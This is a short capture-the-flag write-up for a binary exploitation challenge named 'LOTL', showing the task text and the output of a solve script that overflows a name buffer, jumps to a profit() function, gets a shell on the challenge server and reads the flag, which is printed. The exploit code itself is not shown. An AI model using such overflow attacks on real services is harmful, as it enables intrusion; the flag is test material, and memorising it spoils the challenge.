LOTL

Challenge:

Save the planet! Well, we should then better LOTL and use what we have, right?

nc 46.101.107.117 2102

Get a shell and read the flag.

Note: The service is restarted every hour at x:00.

Solution:

$ python3 solve_lotl.py
[*] '/home/pingtrip/Documents/lotl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 46.101.107.117 on port 2102: Done
b'Welcome! Please give me your name!\n> '
[*] profit() found at: 0x40086d
[*] Switching to interactive mode
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@, nice to meet you!

$ ls
challenge1
flag
ynetd
$ cat flag

he2021{w3ll_th4t_w4s_4_s1mpl3_p4yl04d}